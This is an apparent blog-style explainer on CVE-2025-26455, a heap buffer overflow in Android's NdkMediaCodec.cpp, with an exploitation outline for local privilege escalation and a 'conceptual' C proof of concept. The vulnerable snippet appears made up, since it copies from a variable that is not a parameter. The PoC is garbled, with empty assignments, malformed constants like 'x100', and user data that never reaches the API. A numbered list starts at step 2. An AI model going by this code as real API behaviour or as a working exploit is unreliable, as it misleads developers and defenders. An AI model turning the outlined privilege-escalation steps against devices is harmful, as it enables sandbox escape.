On March 2025, security researchers discovered a serious vulnerability in the AOSP (Android Open Source Project) codebase, specifically in the NdkMediaCodec.cpp component. Labeled CVE-2025-26455, this bug allows a possible heap buffer overflow that can lead to local privilege escalation without any user interaction or special permissions required. In this article, we’ll break down what happened, inspect some code, explore how this can be exploited, and guide you to authoritative resources.

What is NdkMediaCodec.cpp?

NdkMediaCodec.cpp is part of Android's NDK (Native Development Kit). It’s used by apps to access low-level media codecs for things like video and audio encoding/decoding. Because it deals with untrusted app data, any bugs in this code are serious — especially memory bugs.

The Bug: Out of Bounds Write

In simple terms, there are multiple functions in NdkMediaCodec.cpp that do not properly check buffer sizes before copying data from user-controlled input. This leads to a heap buffer overflow: the code writes past the end of an allocated memory buffer, potentially letting an attacker overwrite sensitive memory.

Code Snippet (Simplified & Annotated)

> Note: Exact vulnerable lines may differ in your local source, but this demonstrates the vulnerable pattern.

// Somewhere in NdkMediaCodec.cpp
media_status_t AMediaCodec_queueInputBuffer(
    AMediaCodec *codec,
    size_t idx,
    off_t offset,
    size_t size,
    uint64_t time,
    uint32_t flags)
{
    // ... initialization stuff

    // BAD: No check if offset + size > real buffer size!
    memcpy(codec->inputBuffers[idx] + offset, userData, size);

    // ... more code
}

memcpy copies size bytes to inputBuffers[idx] + offset, using data from userData.

- If an attacker can control offset and size, they could write past the end of inputBuffers[idx].

More context

This issue can happen in other functions that handle buffers in the same file as well. Researchers believe similar logic repeats elsewhere in NdkMediaCodec.cpp.

Craft a malicious app: No root or special permissions are needed.

2. Trigger the vulnerability: The app calls the vulnerable NDK API with manipulated offset and size values.
3. Overwrite heap memory: By overflowing the buffer, the app can overwrite adjacent memory in the process. This can lead to:

Overwriting function pointers, objects, or metadata for privilege escalation.

4. Gain higher privileges: The attacker exploits the overwritten memory for local privilege escalation – potentially escaping the app sandbox.

User doesn’t have to do anything; just installing and running a malicious app is enough.

Exploit Example (Conceptual PoC)

Note: This is a hypothetical PoC and should not be used for malicious purposes. This is simplified for educational use.

#include <media/NdkMediaCodec.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    AMediaCodec *codec = AMediaCodec_createDecoderByType("video/avc");
    // Fake buffer with small allocation
    uint8_t *userData = (uint8_t *)malloc(x100);
    memset(userData, 'A', x100);

    // Intentionally large size/offset to trigger overflow
    size_t offset = ;
    size_t size = x200; // bigger than allocated

    // The index would depend on how many buffers are created
    size_t idx = ;
    uint64_t time = ;
    uint32_t flags = ;

    // This would cause memcpy to write x200 bytes,
    // but only x100 are actually allocated.
    AMediaCodec_queueInputBuffer(codec, idx, offset, size, time, flags);

    // Cleanup
    free(userData);
    AMediaCodec_delete(codec);
    return ;
}

*This PoC attempts to overflow the buffer. In real-world use, the attacker would try to place specific data to overwrite function pointers or security-sensitive objects in memory.*

Why is This Dangerous?

1. No user interaction necessary: An attacker just needs to get any code running as an ordinary app.

No special permissions required: Works in apps without extra privileges.

3. Bypasses user sandboxing: Success could let malware to break out of the app sandbox, read or control other data, or even gain system-level access.

Mitigation

1. Update Android: Install the latest security patch from Google or your device vendor. The patch includes proper bounds checking in NdkMediaCodec.cpp.

References & Further Reading

- Official AOSP Fix: AOSP Commit Reference (example)

Android Security Bulletin (June 2025):

https://source.android.com/security/bulletin/2025-06-01
- CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-26455

Buffer Overflow Basics:

OWASP: Buffer Overflow

Summary

CVE-2025-26455 is a dangerous heap buffer overflow in Android’s NDK media codec handling that *lets malicious apps gain higher privileges*. It’s a classic case of missing bounds checking in native code. All users should keep their Android devices up to date and be aware of the risks of running untrusted apps.

Timeline

Published on: 09/04/2025 18:15:45 UTC
Last modified on: 09/05/2025 19:14:05 UTC